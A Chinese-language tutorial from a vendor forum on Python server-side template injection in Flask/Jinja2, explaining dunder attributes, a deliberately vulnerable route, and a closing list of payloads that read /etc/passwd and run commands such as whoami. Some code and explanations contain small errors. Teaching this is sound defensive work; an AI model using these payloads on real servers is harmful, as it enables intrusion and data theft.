代码审计精品课程 | python之SSTI漏洞介绍
  

深信服认证 2398

{{ttag.title}}
SSTI模板注入

Python类

类(class)是Python中的一种基本的程序组织结构。它们允许定义一种新的数据类型,称为对象(object),并为该类型定义行为(即方法)。

Python中的类由关键字class定义。类包含一个类名称和类定义,类定义中包含属性和方法的声明。属性是类中的变量,方法是类中的函数。类中的方法可以访问类的属性,并且还可以在调用它们时访问该类的其他方法。
以下是一个简单的Python类的示例:

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def get_name(self):
        return self.name

    def get_age(self):
        return self.age

在上面的代码中,我们定义了一个名为“Person”的类,它有两个属性:name和age。该类还定义了两个方法:getname和getage。init方法是一种特殊的方法,它在创建对象时自动调用,并用于初始化对象的属性。

使用类来创建对象的过程称为实例化。要创建一个Person对象,我们可以使用以下代码:

person = Person("Alice", 25)

在上面的代码中,我们使用Person类创建了一个名为“person”的对象,并将其赋给一个变量。我们还向该对象传递了两个参数:名称“Alice”和年龄“25”。

一旦创建了对象,我们可以通过调用其方法来访问其属性:

print(person.get_name())   # Output: Alice
print(person.get_age())    # Output: 25

通过这种方式,类允许我们定义一种新的数据类型,并在程序中创建多个该类型的对象。这使得代码更容易组织和管理,并使其更易于扩展。

Python 中的 魔术方法

__class__

在 Python 中,__class__ 是一个特殊属性,用于访问对象所属的类。当创建一个对象时,Python 会自动将该对象的类存储在 __class__ 属性中。
举个例子,假设定义了一个类 MyClass:
class MyClass:
    def __init__(self, name):
        self.name = name
然后创建了一个该类的实例:
my_obj = MyClass("example")
可以使用 __class__ 属性来获取 my_obj 对象所属的类:
print(my_obj.__class__)
输出:
<class '__main__.MyClass'>
注意,__class__ 属性是一个特殊的属性,通常情况下不需要直接访问它。相反,你应该使用 type() 函数来获取一个对象的类,例如:
print(type(my_obj))
输出:
<class '__main__.MyClass'>
这两种方法都可以用来获取对象的类。

__mro__

在 Python 中,每个类都有一个 Method Resolution Order(MRO)(方法解析顺序),它定义了解析方法和属性的顺序。在多重继承的情况下,类可以从多个父类继承方法和属性。MRO 确定了在这种情况下 Python 解析哪个方法或属性。

在 Python 中,每个类都有一个__mro__属性,它是一个元组,包含了类及其父类的顺序。当在一个类中调用方法或属性时,Python 将首先检查该类的__mro__属性中的第一个父类,然后是第二个,以此类推,直到找到所需的方法或属性。

例如,假设你有以下类:
class A:
    def foo(self):
        print("A.foo")

class B(A):
    def foo(self):
        print("B.foo")

class C(A):
    def foo(self):
        print("C.foo")

class D(B, C):
    pass
这里类 D 继承自类 B 和 C,它们都继承自类 A。在这种情况下,类 D 的__mro__属性为:
(D, B, C, A, object)

当在类 D 中调用方法 foo() 时,Python 将首先检查类 B 中的 foo() 方法,然后是类 C 中的 foo() 方法,最后是类 A 中的 foo() 方法。

你可以使用以下代码访问类的__mro__属性:
print(D.__mro__)
__subclasses__
在 Python 中,每个类都是一个对象,可以有其自己的属性和方法。其中一个方法是 __subclasses__(),它可以返回当前类的直接子类列表。

具体地说,当调用一个类的 __subclasses__() 方法时,它会返回一个列表,其中包含所有直接从该类派生的子类。例如:
class A:
    pass

class B(A):
    pass

class C(A):
    pass

print(A.__subclasses__())  # [__main__.B, __main__.C]
在这个例子中,我们定义了三个类:A,B 和 C。B 和 C 都是从 A 派生的子类。在 A 类的 __subclasses__() 方法中调用时,它返回一个包含 B 和 C 的列表。

需要注意的是,__subclasses__() 方法只返回直接子类,而不是所有子类。如果一个类有一个子类,而这个子类又有一个子类,那么 __subclasses__() 方法在父类上调用时,不会返回孙子类。

__init__

__init__ 是 Python 中一个特殊的方法(也称为魔术方法或构造函数),用于在创建对象时进行初始化操作。每当使用 class 关键字创建一个新类时,都会自动创建一个 __init__ 方法。该方法在创建对象时自动调用,并且必须作为第一个参数接受 self 参数,它表示正在创建的对象。

通常,在 __init__ 方法中,我们将对象的属性设置为其默认值或传入的参数值。
例如:
class MyClass:
    def __init__(self, name, age):
        self.name = name
        self.age = age

在这个例子中,我们创建了一个名为 MyClass 的类,它有两个属性:name 和 age。在 __init__ 方法中,我们将传入的 name 和 age 参数分别赋值给了对象的 name 和 age 属性。这样,在创建一个 MyClass 对象时,我们就可以通过传入不同的参数值来初始化不同的对象。

需要注意的是,Python 中的类和对象都可以动态地添加属性和方法,因此 __init__ 方法并不是必须的。如果一个类没有定义 __init__ 方法,Python 会自动创建一个空的 __init__ 方法。但是,在大多数情况下,我们都需要在创建对象时进行一些初始化操作,因此 __init__ 方法是非常常用的。

__globals__

在 Python 中,__globals__ 是一个特殊属性,它包含一个字典,其中存储了当前作用域中所有的全局变量和函数。
具体地说,当在一个函数或方法内部访问 __globals__ 属性时,它会返回一个字典,其中包含了该函数或方法所在的模块中定义的所有全局变量和函数。例如:

x = 10

def my_func():
    print(__globals__)

my_func()  # {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'x': 10, 'my_func': <function my_func at 0x000001>}

在这个例子中,我们定义了一个全局变量 x 和一个函数 my_func(),然后在 my_func() 函数中访问了 __globals__ 属性。在输出中,我们可以看到 __globals__ 返回了一个字典,其中包含了当前模块中定义的所有全局变量和函数。

需要注意的是,虽然 __globals__ 属性提供了一种访问全局变量和函数的方法,但通常不建议在函数内部直接使用它。这是因为,过度依赖全局变量会使代码难以理解和维护,并且会增加代码出错的可能性。因此,在编写 Python 代码时,应该尽可能避免使用全局变量,而是通过参数和返回值来传递数据。

__builtins__

在 Python 中,__builtins__ 是一个特殊属性,它包含了 Python 解释器默认提供的内置函数、变量和异常类的命名空间。也就是说,所有 Python 程序都可以直接使用 __builtins__ 中的内置函数、变量和异常类,而无需显式导入。

例如,我们可以在 Python 命令行解释器中直接访问 __builtins__:

>>> print(__builtins__)
<module 'builtins' (built-in)>

在上面的示例中,我们访问了 __builtins__,并将其作为参数传递给 print() 函数。__builtins__ 返回了一个模块对象,表示 Python 解释器默认提供的内置函数、变量和异常类。

需要注意的是,尽管 __builtins__ 包含了很多有用的内置函数和变量,但在编写 Python 代码时,不应该滥用它。这是因为过度依赖内置函数和变量会使代码难以理解和维护,并且可能会导致命名冲突等问题。因此,应该尽可能使用模块、类、函数等封装机制,避免直接使用 __builtins__ 中的函数和变量。

SSTI模板注入

SSTI(Server-Side Template Injection,服务端模板注入)是一种Web应用程序安全漏洞,它允许攻击者向Web应用程序发送恶意请求,以注入并执行服务器端模板引擎中的代码。

模板引擎通常是用来处理动态内容的,例如生成HTML网页或电子邮件,可以允许程序员使用模板来组合预定义的HTML标记、JavaScript脚本和其他数据。模板引擎的基本工作原理是将模板和数据合并到一起,以生成最终输出。

在SSTI攻击中,攻击者向Web应用程序发送包含恶意模板代码的请求。如果应用程序未对这些代码进行充分验证和过滤,那么恶意代码将被注入到模板引擎中,然后被执行。这可能导致应用程序的机密信息泄露,或者使攻击者能够在受攻击的服务器上执行任意代码,从而完全接管服务器。

Python-Flask模板注入

Python-Flask 框架之所以会存在 SSTI 漏洞,是因为它使用 Jinja2 作为默认的模板引擎。Jinja2 是一个功能强大的模板引擎,它允许使用者在模板中使用变量和表达式来生成动态内容,但同时也可能导致模板注入漏洞。

在jinja2中,存在三种语法

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

下面是一个简单的 Python-Flask 应用程序的代码示例,其中包含了一个 SSTI 漏洞:

from flask import Flask,render_template,request,render_template_string

app = Flask(__name__)

@app.route('/')
def index():
return render_template("index.html")
    name = request.args.get('name', '')
    return render_template_string(name)

if __name__ == '__main__':
    app.run()

在这个示例中,我们定义了一个简单的 Flask 应用程序,它有一个路由函数 index(),用于渲染一个名为 index.html 的模板。模板中包含了一个变量 {{name}},它用于显示用户输入的名称。

如果我们使用 Flask 内置的 Web 服务器来运行这个应用程序,并向 /?name=test 发送请求,那么页面将显示 "test"。这是因为 Flask 会将请求中的 name 参数传递给模板,并使用 Jinja2 来渲染模板。

然而,如果我们将请求中的 name 参数设置为一个包含恶意代码的字符串,比如
{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

服务器就会执行这段代码,并返回一个包含敏感信息的响应。

这是因为在 Jinja2 中,双大括号 {{}} 中的任何表达式都会被求值并转义后插入到 HTML 中。如果用户可以控制这些表达式,就可以利用 SSTI 漏洞注入任意的 Python 代码,并在服务器上执行它们。

语法解析

config.items()

config.items() 是 Flask 应用程序的配置项字典,它包含了应用程序的所有配置选项和它们的值。在 Python 中,字典是一种键值对的数据结构,可以使用键来访问和修改值。

config.items() 返回一个包含所有配置项和它们的值的元组列表。每个元组包含两个元素,第一个元素是配置项的名称,第二个元素是配置项的值。

config.items()[0] 是元组列表的第一个元素,它包含了第一个配置项的名称和值。

因为这个元素也是一个元组,所以我们可以使用 [1] 来访问元组的第二个元素,即第一个配置项的值。因此
{ config.items()[0][1] }} 会返回 Flask 应用程序配置中第一个配置项的值,通常是应用程序的 DEBUG 配置项的值。

具体来说,当 Flask 应用程序渲染包含 {{ config.items()[0][1] }} 的模板时,Jinja2 模板引擎会首先调用 config.items() 方法,该方法返回一个包含所有配置项的列表,其中每个元素是一个包含键值对的元组。接着,模板引擎会对这个列表使用索引操作 [0] 获取第一个元素,也就是第一个键值对的元组。最后,模板引擎再次使用索引操作 [1] 获取该键值对的值,即 Flask 应用程序配置中第一个配置项的值。

由于 Flask 应用程序的默认配置中,第一个配置项是 DEBUG,因此 {{ config.items()[0][1] }} 通常会返回 False,即默认的 DEBUG 配置项的值。但是如果应用程序的配置中将 DEBUG 设置为 True,那么 {{ config.items()[0][1] }} 将会返回 True。


config.items()[0][1].__class__

如果在 Flask 应用程序中将 DEBUG 配置项设置为 True,那么使用 {{config.items()[1][1] }} 将返回 True,这是一个布尔值。

因此,如果使用 {{config.items()[1][1].__class__}} 来获取 DEBUG 配置项的值的类型,它将返回 <type 'bool'>,即布尔值类型。

config.items()[0][1].__class__.__mro__

config.items()[0][1] 是一个布尔值,它的类型是 <type 'bool'>。如果我们使用 __class__ 方法获取该对象所属的类,我们将得到 <type 'bool'>。然后,我们可以使用 __mro__ 属性获取该类的继承关系,即 <type 'bool'>, <type 'int'>, <type 'object'>。这是因为在 Python 中,布尔类型是从整数类型派生而来的,因此在其继承链中包含 int 类型。


config.items()[0][1].__class_.__mro__[1]

config.items()[0][1] 是一个布尔值,它的类型是 <class 'bool'>。我们可以使用 __class__ 方法获取该对象所属的类,然后使用 __mro__ 属性获取该类的继承关系,即 <class 'bool'>, <class 'int'>, <class 'object'>。因为 int 是 <class 'bool'> 的父类,所以 __subclasses__() 方法返回所有直接派生自 int 的子类,包括其他标准库和第三方库中的类。

config.items()[0][1].class.__mro__[1].__subclasses__()

__subclasses__() 是 Python 内置的一个方法,可以返回一个类的所有直接子类构成的列表。在这个列表中,每一个元素都是一个直接继承自父类的子类。

__subclasses__()[x] 表示取该列表中的第 x 个元素,也就是第 x+1 个直接子类。

{{config.items()[0][1].__class__.__mro__[2].__subclasses__()}} 返回的是所有继承自 <class 'object'> 的类的列表,其中包括Python标准库中定义的类以及用户自定义的类

config.items()[0][1].class.__mro__[1].__subclasses__()[x].__init_.__globals__

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__}} 返回的是一个包含当前环境中所有全局变量和它们的值的字典。在这个上下文中,config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__ 实际上是一个函数对象,它是Python标准库中一个特定的类的__init__方法。通过访问这个函数对象的__globals__属性,我们可以获取它所在的命名空间中的所有全局变量。

config.items()[0][1].__class__.__mro__[1].__subclasses__()[x].__init_.__globals__.__builtins__

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__}}
是一个模板注入的代码,它访问了当前 Python 运行环境中的内置模块,也就是 __builtins__。通过这段代码,攻击者可以利用 __builtins__ 模块中的任意函数来执行任意代码,例如在 Flask 应用中执行系统命令或者打开远程 shell 等。

由于 __builtins__ 是一个内置模块,其内部包含了许多 Python 的内置函数和对象,因此 {{config.items()[0][1].__class__.__mro__[1].__subclasses__()[x].__init__.__globals__.__builtins__}} 实际上返回了一个内置模块的字典,其中包含了所有内置函数和对象。可以通过访问这个字典来调用内置函数,例如
{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls").read()')}}

上面的代码使用了 eval 函数来执行 __import__("os").popen("ls").read() 代码,这段代码会执行系统命令 ls 并将结果返回。因此,这个模板注入的代码会返回当前目录下的文件列表。

常见SSTI的payload

文件读写

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  

命令执行

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls").read()')}}

{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

本期作者:
李忻蔚:深信服安全服务认证专家(SCSE-S),产业教育中心资深讲师,曾任职于中国电子科技网络信息安全有限公司,担任威胁情报工程师、渗透测试工程师、安全讲师;多年来为政府部门进行安全培训,安全服务;多次参与国家级、省级攻防比武的出题和保障任务,擅长Web安全、渗透测试与内网渗透方向。

打赏鼓励作者,期待更多好文!

打赏
暂无人打赏

发表新帖
热门标签
全部标签>
每日一问
2024年技术争霸赛
安装部署配置
技术盲盒
干货满满
技术笔记
产品连连看
2023技术争霸赛专题
每周精选
信服课堂视频
功能体验
秒懂零信任
新版本体验
GIF动图学习
运维工具
技术晨报
功能咨询
通用技术
自助服务平台操作指引
问题分析处理
标准化排查
纪元平台
排障笔记本
华北区交付直播
技术咨询
畅聊IT
专家问答
技术圆桌
每日一记
用户认证
原创分享
解决方案
VPN 对接
项目案例
地址转换
存储
技术争霸赛
深信服技术支持平台
社区帮助指南
卧龙计划
北京区每日一练
答题自测
在线直播
MVP
网络基础知识
升级
安全攻防
上网策略
测试报告
日志审计
流量管理
云计算知识
sangfor周刊
SANGFOR资讯
专家分享
技术顾问
信服故事
SDP百科
终端接入
授权
设备维护
资源访问
虚拟机
迁移
加速技术
产品预警公告
玩转零信任
信服圈儿
S豆商城资讯
「智能机器人」
追光者计划
答题榜单公布
华北区拉练
天逸直播
以战代练
山东区技术晨报
文档捉虫活动
齐鲁TV

本版版主

83
224
0

发帖

粉丝

关注

本版达人